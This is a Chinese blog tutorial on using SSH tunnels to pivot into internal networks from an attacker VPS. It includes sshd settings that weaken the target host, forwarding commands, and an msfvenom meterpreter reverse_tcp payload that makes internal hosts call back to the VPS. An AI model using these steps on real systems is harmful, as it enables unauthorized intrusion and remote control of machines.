SSH隧道端口转发详解

简介: 需要在目标主机修改如下配置文件内容

一、SSH配置文件设置

需要在目标主机修改如下配置文件内容:

Vi /etc/ssh/sshd_config   #SSH配置文件
AllowTcpForwarding yes     #是否允许转发TCP协议
GatewayPorts yes   #是否允许远程主机连接本地转发端口
PermitRootLogin yes    #是否允许root登录
PasswordAuthentication yes    #是否允许使用基于密码的认证
TCPKeepAlive yes    #保持心跳,防止 ssh 断开


二、SSH端口转发参数详解

-C   #压缩传输,加快传输速度
-f    #将SSH转入后台执行,不占用当前的shell
-N   #建立静默连接(建立了连接,但是看不到具体会话)
-g   #允许远程主机连接到本地用于转发的端口
-L   #本地端口转发
-R   #远程端口转发
-D  #动态转发(socks代理)
-P  #指定SSH端口









三、具体转发方式

①本地端口转发(将攻击者vps的某个端口转发到目标指定机器的指定端口)

场景:只能访问B主机,B作为跳板,将内网C主机端口带出来

在vps上执行:


ssh -L vps本地端口:C主机ip:C端口 B用户名@ip

实例:


ssh -CfNg –L 2121:192.168.1.109:3389 root@192.168.1.2


此时连接vps本地2121端口就相当于连接到内网C主机的3389端口




②远程端口转发(将目标主机的某个端口转发到攻击者vps的指定端口)

场景:无法访问B主机,但是B主机可以出网,通过B为跳板,将内网C主机端口带出来

在B跳板上执行:


ssh -R vps端口:C主机ip:C端口 vps用户名@ip


实例:


ssh -CfNg -R 1080:192.168.1.109:3389 root@192.168.1.106


此时连接vps本地1080端口就相当于连接到内网C主机的3389端口

-


四、如何通过跳板机让内网主机上线?

①通过本地端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


C主机执行:


ssh -CfNg -L 本地端口:vps的ip:vps端口 B用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


msfvenom -p windows/meterpreter/reverse_tcp lhost=C主机ip lport=C主机端口 -f exe > ssh.exe


然后vps开启MSF监听(vps本地端口和ip即可):


内网中的主机执行payload就能成功上线:

流量走向:C主机6666端口-->B跳板-->vps的6666端口



②通过远程端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


B跳板执行:


ssh –CfNg -R C主机端口:vps的ip:vps的端口 C主机用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


然后vps开启MSF监听(vps本地端口和ip即可):


执行payload就能成功上线

流量走向:C主机7777端口-->B跳板-->vps的4444端口


文章只是模拟部分场景,总体来说SSH隧道还是挺稳定的,实际场景还需根据实际情况进行思路拓展,文章如有错误,欢迎一起交流

目录
相关文章
|
6月前
|
Linux 网络安全
linux端口连通性测试telnet、wget、ssh、curl
linux端口连通性测试telnet、wget、ssh、curl
|
7月前
|
安全 Linux 网络安全
Centos 6.8下修改SSH服务默认端口,看这一篇就够了
Centos 6.8下修改SSH服务默认端口,看这一篇就够了
131 0
|
7月前
|
网络安全 数据安全/隐私保护
百度搜索:蓝易云【多个端口怎么运行SSH服务器?】
记得替换 `username`为你的用户名,`your_server_ip`为你的服务器IP地址。根据需要,可以添加其他端口并进行相应的配置。
88 0
|
11月前
|
安全 Linux 网络安全
【超详细】Linux系统修改SSH端口教程
在linux中,默认的SSH端口号为22,由于这是咱们都知道的端口号,一旦有入侵者进行端口扫描的时候扫描出22端口,就立马知道这是进行SSH登录的端口号,因而咱们需要修改默认的端口号。
4381 1
【超详细】Linux系统修改SSH端口教程
|
6天前
|
Ubuntu 网络安全 数据安全/隐私保护
使用SSH隧道将Ubuntu云服务器Jupyter Notebook端口映射到本地
这样,你就成功地将Ubuntu云服务器上的Jupyter Notebook端口映射到本地,使你能够通过本地浏览器访问并使用Jupyter Notebook。
23 1
|
7月前
|
运维 搜索推荐 Shell
Ansible自动化运维工具之个性化定制SSH连接登录端口(3)
Ansible自动化运维工具之个性化定制SSH连接登录端口(3)
190 0
|
8月前
|
Ubuntu 安全 Shell
Ubuntu服务器安全性提升:修改SSH默认端口号
在Ubuntu服务器上,SSH(Secure Shell)是一种至关重要的远程连接工具。它提供了一种安全的方式来远程连接和管理计算机系统,通过加密通信来确保数据的保密性和完整性。SSH协议广泛用于计算机网络中,用于远程管理、文件传输和安全通信等任务。然而,SSH默认使用的端口号是22,这也是黑客们常常尝试入侵的目标之一。为了提高服务器的安全性,我们通常建议修改SSH的默认端口号,以减少未经授权的访问和潜在的风险。接下来,我们将详细介绍如何在Ubuntu上执行这一关键操作。
256 4
Ubuntu服务器安全性提升:修改SSH默认端口号
|
4月前
|
安全 Ubuntu 网络安全
百度搜索:蓝易云【ssh端口转发教程】
这些是SSH端口转发的基本步骤。您可以根据您的需求和情况进行进一步的调整和配置。请确保在执行任何与网络连接相关的操作之前,充分了解您的网络环境和安全需求,并采取适当的安全措施。
58 0
|
6月前
|
Linux 网络安全 开发工具
CentOS7增加或修改SSH端口号
CentOS7增加或修改SSH端口号
141 0
|
8月前
|
Linux 网络安全 网络架构
百度搜索:蓝易云【Linux系统修改ssh端口教程。】
请注意,修改SSH端口是一种安全措施,可以减少恶意扫描和攻击的风险。但是,确保您选择的新端口未被其他服务使用,并且仅将其公开用于必要的连接。
621 0